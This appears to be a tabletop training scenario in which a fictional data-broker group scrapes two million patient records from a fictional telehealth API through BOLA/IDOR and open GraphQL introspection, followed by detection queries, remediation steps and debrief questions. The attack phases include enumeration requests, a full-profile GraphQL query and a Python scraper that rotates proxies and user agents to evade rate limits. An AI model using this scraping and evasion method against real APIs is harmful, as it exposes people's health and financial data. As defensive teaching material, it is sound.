SC-028: API Abuse Leading to Mass Data Exfiltration¶

Threat Actor Profile¶

DATA WRAITH is a data-brokerage threat group active since 2024, specializing in exploiting insecure APIs to harvest large volumes of personally identifiable information (PII), protected health information (PHI), and financial records. The group does not deploy malware or establish persistent access — instead, they exploit business logic flaws and authorization vulnerabilities in APIs to extract data using entirely legitimate HTTP requests that blend with normal application traffic.

DATA WRAITH operates a marketplace on the dark web where stolen datasets are sold to identity theft rings, insurance fraud operations, and other criminal enterprises. Their preferred attack vector is Broken Object-Level Authorization (BOLA/IDOR) — the OWASP API Security Top 10 #1 vulnerability — which allows them to access resources belonging to other users by manipulating object identifiers in API requests.

The group demonstrates sophisticated understanding of API architectures, GraphQL introspection, rate limiting bypass techniques, and WAF evasion. They use distributed infrastructure (residential proxies and botnets) to distribute requests across thousands of IP addresses, making rate-based detection extremely difficult.

Motivation: Financial — data brokerage, PII/PHI sale on dark web markets.

Estimated Revenue: $3M–$6M annually from selling stolen datasets of 50M+ records across ~30 breached organizations.

Target Environment¶

Organization: HealthBridge Medical (fictional) — a digital health platform with 2.8 million registered patients, offering telemedicine, prescription management, and health records access through web and mobile applications.

Scenario Narrative¶

Phase 1 — API Reconnaissance & Vulnerability Discovery (~30 min)¶

DATA WRAITH begins by profiling HealthBridge's API surface. They create a legitimate patient account on the platform (testuser@example.com) and analyze the mobile application's API traffic using a proxy tool.

During reconnaissance, the attacker discovers several critical issues:

1. GraphQL Introspection Enabled in Production:

# GraphQL introspection query — should be disabled in production
{
  __schema {
    types {
      name
      fields {
        name
        type { name }
      }
    }
  }
}

The introspection response reveals the complete schema, including types like Patient, HealthRecord, Prescription, InsuranceClaim, and ProviderNote — with fields like ssn, dateOfBirth, diagnosis, medications, and insuranceId.

2. BOLA Vulnerability in REST API:

The REST API uses sequential integer IDs for patient records:

GET /api/v2/patients/1847392/records HTTP/1.1
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

The attacker's own patient ID is 1847392. By changing the ID to 1847391, 1847393, etc., they can access other patients' records — the API checks only that the JWT token is valid, not that the authenticated user is authorized to access the requested patient record.

3. GraphQL Query Depth Not Limited:

The GraphQL API allows deeply nested queries that can extract entire patient profiles in a single request:

query {
  patient(id: 1847391) {
    firstName
    lastName
    dateOfBirth
    ssn
    email
    phone
    address { street city state zip }
    healthRecords {
      date
      diagnosis
      provider
      notes
    }
    prescriptions {
      medication
      dosage
      prescriber
      pharmacy
    }
    insuranceClaims {
      claimId
      amount
      status
      diagnosisCode
    }
  }
}

Evidence Artifacts:

Phase 2 — Automated Scraping Infrastructure (~30 min)¶

DATA WRAITH builds an automated scraping system designed to extract patient records while evading detection. The system uses:

1. Distributed Proxy Network: 2,400 residential proxy IPs across 15 countries — each IP makes ~40 requests/minute (below the 100 req/min rate limit per API key)
2. Multiple API Keys: 12 legitimate patient accounts created with disposable email addresses, each with its own OAuth token
3. Request Throttling: Randomized delays between 800ms and 2,200ms to simulate human-like behavior
4. User-Agent Rotation: 47 different mobile User-Agent strings matching the HealthBridge iOS and Android apps
5. Mixed Request Pattern: Legitimate-looking requests (viewing own profile, browsing providers) interspersed with BOLA exploitation requests at a 3:1 ratio

The scraping architecture:

[Controller Node]
    |-- [Proxy Pool: 2,400 residential IPs]
    |   |-- IP-001: Account #1 -> 40 req/min -> patients 1-50000
    |   |-- IP-002: Account #2 -> 40 req/min -> patients 50001-100000
    |   |-- IP-003: Account #3 -> 40 req/min -> patients 100001-150000
    |   +-- ... (distributed across all 12 accounts)
    |-- [Data Aggregation: S3-compatible storage]
    +-- [Rate Monitor: auto-adjust if 429s detected]

The attacker alternates between the REST API (for bulk record retrieval) and GraphQL (for detailed patient profiles), using the GraphQL API for high-value records identified through the REST endpoint:

# Simplified scraping logic (educational — not weaponization)
import requests
import random
import time

def scrape_patient(patient_id, token, proxy):
    headers = {
        'Authorization': f'Bearer {token}',
        'User-Agent': random.choice(USER_AGENTS),
    }
    resp = requests.get(
        f'https://api.healthbridge.example.com/api/v2/patients/{patient_id}/records',
        headers=headers,
        proxies={'https': proxy}
    )
    time.sleep(random.uniform(0.8, 2.2))
    return resp.json() if resp.status_code == 200 else None

# Used for high-value records after REST enumeration
query PatientFullProfile($id: Int!) {
  patient(id: $id) {
    firstName lastName dateOfBirth ssn email phone
    address { street city state zip }
    healthRecords(last: 50) {
      date diagnosis provider notes labResults { testName result }
    }
    prescriptions(active: true) {
      medication dosage refillsRemaining pharmacy { name address }
    }
    insuranceClaims(last: 20) {
      claimId amount status diagnosisCode serviceDate
    }
  }
}

Over 18 days, the scraping system processes 2,847,000 API requests and successfully extracts 2,031,847 patient records.

Evidence Artifacts:

Phase 3 — Data Exfiltration & Staging (~25 min)¶

The scraped data is collected, deduplicated, and organized on DATA WRAITH's infrastructure. The final dataset contains:

The data is exfiltrated incrementally via legitimate API responses — each HTTP response is the exfiltration event itself, making traditional DLP detection impossible. The data never leaves through a "side channel"; it flows out through the front door as normal API responses.

DATA WRAITH prepares the dataset for sale on their dark web marketplace:

=== HEALTHBRIDGE MEDICAL — FULL PATIENT DATABASE ===
Records: 2,031,847 patients (71% of database)
Content: PII + PHI + Insurance + Prescriptions
Freshness: March 2026
Format: JSON / CSV / PostgreSQL dump
Verification: 500 sample records available

PRICING:
- Full dataset: $180,000 (BTC/XMR)
- Bulk PII only (name, SSN, DOB): $45,000
- PHI subset (diagnosis + prescriptions): $90,000
- Insurance claims subset: $60,000
- Per-record pricing: $0.12/record (min 10K)

The dark web listing appears on Day 22, four days after scraping completes. A threat intelligence firm discovers the listing and notifies HealthBridge on Day 25.

Evidence Artifacts:

Phase 4 — Incident Response & Regulatory Fallout (~25 min)¶

HealthBridge initiates incident response on Day 25. The investigation reveals the full scope over the following 10 days:

Investigation Timeline:

Regulatory and Financial Impact:

HIPAA Breach Notification Requirements (as applied):

Evidence Artifacts:

Indicators of Compromise (IOCs)¶

Detection Opportunities¶

SIEM Detection Queries¶

// Detect sequential patient ID enumeration
ApiManagementGatewayLogs
| where RequestUrl matches regex @"/patients/\d+/"
| extend PatientId = toint(extract(@"/patients/(\d+)/", 1, RequestUrl))
| summarize
    MinId = min(PatientId),
    MaxId = max(PatientId),
    UniqueIds = dcount(PatientId),
    RequestCount = count()
    by ApiKey = tostring(parse_json(RequestHeaders)["Authorization"]), bin(TimeGenerated, 1h)
| where UniqueIds > 100
| where (MaxId - MinId) / UniqueIds < 2  // Sequential pattern detection
| sort by UniqueIds desc

// Detect cross-user patient record access (BOLA indicator)
ApiManagementGatewayLogs
| where RequestUrl has "/patients/"
| extend PatientId = extract(@"/patients/(\d+)/", 1, RequestUrl)
| extend AuthUser = extract(@"sub:(\w+)", 1, tostring(parse_json(RequestHeaders)["Authorization"]))
| where PatientId != AuthUser  // Accessing records of other patients
| summarize CrossAccessCount = count(), UniquePatients = dcount(PatientId) by AuthUser, bin(TimeGenerated, 1h)
| where CrossAccessCount > 10

// Detect GraphQL introspection queries
ApiManagementGatewayLogs
| where RequestUrl has "/graphql"
| where RequestBody has "__schema" or RequestBody has "__type"
| project TimeGenerated, CallerIpAddress, RequestBody

// Detect excessive API data volume per user
ApiManagementGatewayLogs
| summarize TotalResponseBytes = sum(ResponseSize), RequestCount = count() by ApiKey = tostring(parse_json(RequestHeaders)["Authorization"]), bin(TimeGenerated, 1d)
| where TotalResponseBytes > 100000000  // >100MB per day
| sort by TotalResponseBytes desc

// Detect sequential patient ID enumeration
index=api sourcetype=kong:access uri="/api/v2/patients/*/records"
| rex field=uri "/patients/(?<patient_id>\d+)/"
| bin _time span=1h
| stats min(patient_id) as min_id, max(patient_id) as max_id,
        dc(patient_id) as unique_ids, count as req_count by api_key, _time
| where unique_ids > 100
| eval sequential_ratio = (max_id - min_id) / unique_ids
| where sequential_ratio < 2
| sort -unique_ids

// Detect cross-user patient access (BOLA exploitation)
index=api sourcetype=kong:access uri="/api/v2/patients/*/records" status=200
| rex field=uri "/patients/(?<accessed_id>\d+)/"
| eval own_id = jwt_decode(api_key, "patient_id")
| where accessed_id != own_id
| stats dc(accessed_id) as unique_patients, count as access_count by api_key
| where unique_patients > 10
| sort -unique_patients

// Detect GraphQL introspection
index=api sourcetype=graphql method=POST
(query="*__schema*" OR query="*__type*")
| table _time, src_ip, user, query

// Detect accounts with anomalous data access volumes
index=api sourcetype=kong:access status=200
| stats sum(response_size) as total_bytes, dc(uri) as unique_endpoints,
        count as total_requests by api_key
| eval total_mb = round(total_bytes/1048576, 2)
| where total_mb > 100
| sort -total_mb

ATT&CK Mapping¶

Response Actions¶

Remediation Playbook¶

Lessons Learned¶

What Went Well¶

• API gateway logs were complete and retained for 90 days, enabling full forensic reconstruction
• Dark web monitoring by a third-party threat intel firm provided the initial breach notification
• Emergency API patch to enforce object-level authorization was deployed within 5 days of discovery
• PostgreSQL database audit logs captured all queries, enabling precise scoping of affected records

What Failed¶

• No object-level authorization: The BOLA vulnerability — OWASP API #1 — was present in 14 of 47 endpoints. Authorization checked "is this token valid?" but never "is this user allowed to access this specific patient's records?"
• GraphQL introspection enabled in production: The full API schema was exposed, giving the attacker a detailed map of all data types and relationships
• Per-key rate limiting only: Rate limiting was applied per API key (100 req/min) but not per user or in aggregate. 12 keys at 40 req/min each = 480 req/min undetected
• No API-specific WAF: Cloudflare was configured for web traffic but API endpoints had no bot detection, behavioral analysis, or anomaly detection
• No data access monitoring: No alert existed for "single user accessing more than N unique patient records." A threshold of 50 records/user would have detected the attack within minutes
• Sequential integer IDs: Predictable resource identifiers made enumeration trivial — UUIDs would have required the attacker to discover valid IDs through other means

Key Takeaways¶

1. BOLA/IDOR is the most common and impactful API vulnerability — every API endpoint that returns user-specific data must enforce object-level authorization
2. Rate limiting per API key is insufficient — aggregate monitoring across accounts and per-user data access volumes are essential for detecting distributed scraping
3. APIs are the new attack surface — traditional web security controls (WAF, DLP) often do not cover API endpoints; purpose-built API security tooling is required
4. GraphQL requires specific security controls — introspection, depth limiting, cost analysis, and field-level authorization are all necessary for production GraphQL APIs
5. Data breach costs dwarf prevention costs — the $26M–$41M breach impact versus $450K remediation cost represents a 60–90x return on proactive security investment

Debrief Guide¶

Debrief: What Went Well¶

• Complete API logging enabled forensic reconstruction of every malicious request
• Third-party threat intelligence monitoring provided the breach discovery signal
• HealthBridge legal team was well-prepared with HIPAA breach response procedures

Debrief: Key Learning Points¶

• BOLA is trivial to exploit and devastating in impact — changing an integer in a URL should never grant access to another user's data
• Distributed scraping defeats IP-based controls — user-level behavioral analytics are the correct detection layer
• API responses ARE the exfiltration channel — traditional DLP cannot detect data leaving through the application's front door
• HIPAA breach costs are catastrophic — $26M–$41M for a preventable vulnerability class
• Sequential IDs are a gift to attackers — UUIDs add a meaningful barrier to enumeration

Recommended Follow-Up¶

• [ ] Implement object-level authorization across all REST and GraphQL endpoints
• [ ] Replace all sequential integer IDs with UUIDv4
• [ ] Deploy API security gateway with behavioral analysis
• [ ] Disable GraphQL introspection and implement query cost analysis
• [ ] Implement per-user data access volume monitoring with threshold alerting
• [ ] Add OWASP API Security Top 10 testing to CI/CD pipeline
• [ ] Conduct HIPAA Security Rule gap assessment with focus on access controls
• [ ] Establish API security review as a mandatory gate for all new endpoint deployments

Discussion Questions¶

1. The BOLA vulnerability was in production for an estimated 14 months before exploitation. Why is BOLA so common in modern APIs? What design patterns (policy-based authorization middleware, attribute-based access control) prevent BOLA at the architecture level?
2. The attacker used 2,400 residential proxies to distribute requests below rate limits. Traditional IP-based rate limiting fails against distributed attacks. What alternative rate limiting strategies (per-user record access limits, request fingerprinting, behavioral analysis) would be effective?
3. Data was exfiltrated via legitimate API responses — there was no "side channel." How does this challenge traditional DLP approaches? What API-specific data loss prevention controls exist?
4. The estimated breach cost is $26M–$41M, while the BOLA fix cost $450K. How do you make the business case for API security investment before a breach? What metrics and frameworks (FAIR, risk quantification) help justify security spending to the board?
5. HealthBridge is a HIPAA covered entity. How do the HIPAA Security Rule's requirements for access controls (45 CFR 164.312(a)) specifically apply to API authorization? Would compliance with HIPAA requirements have prevented this breach?

References¶

• Chapter 22: Application Security & Secure SDLC
• Chapter 9: Incident Response Lifecycle
• Chapter 6: Triage & Investigation
• Chapter 32: Privacy Engineering & Data Protection
• OWASP API Security Top 10
• HHS HIPAA Breach Notification Rule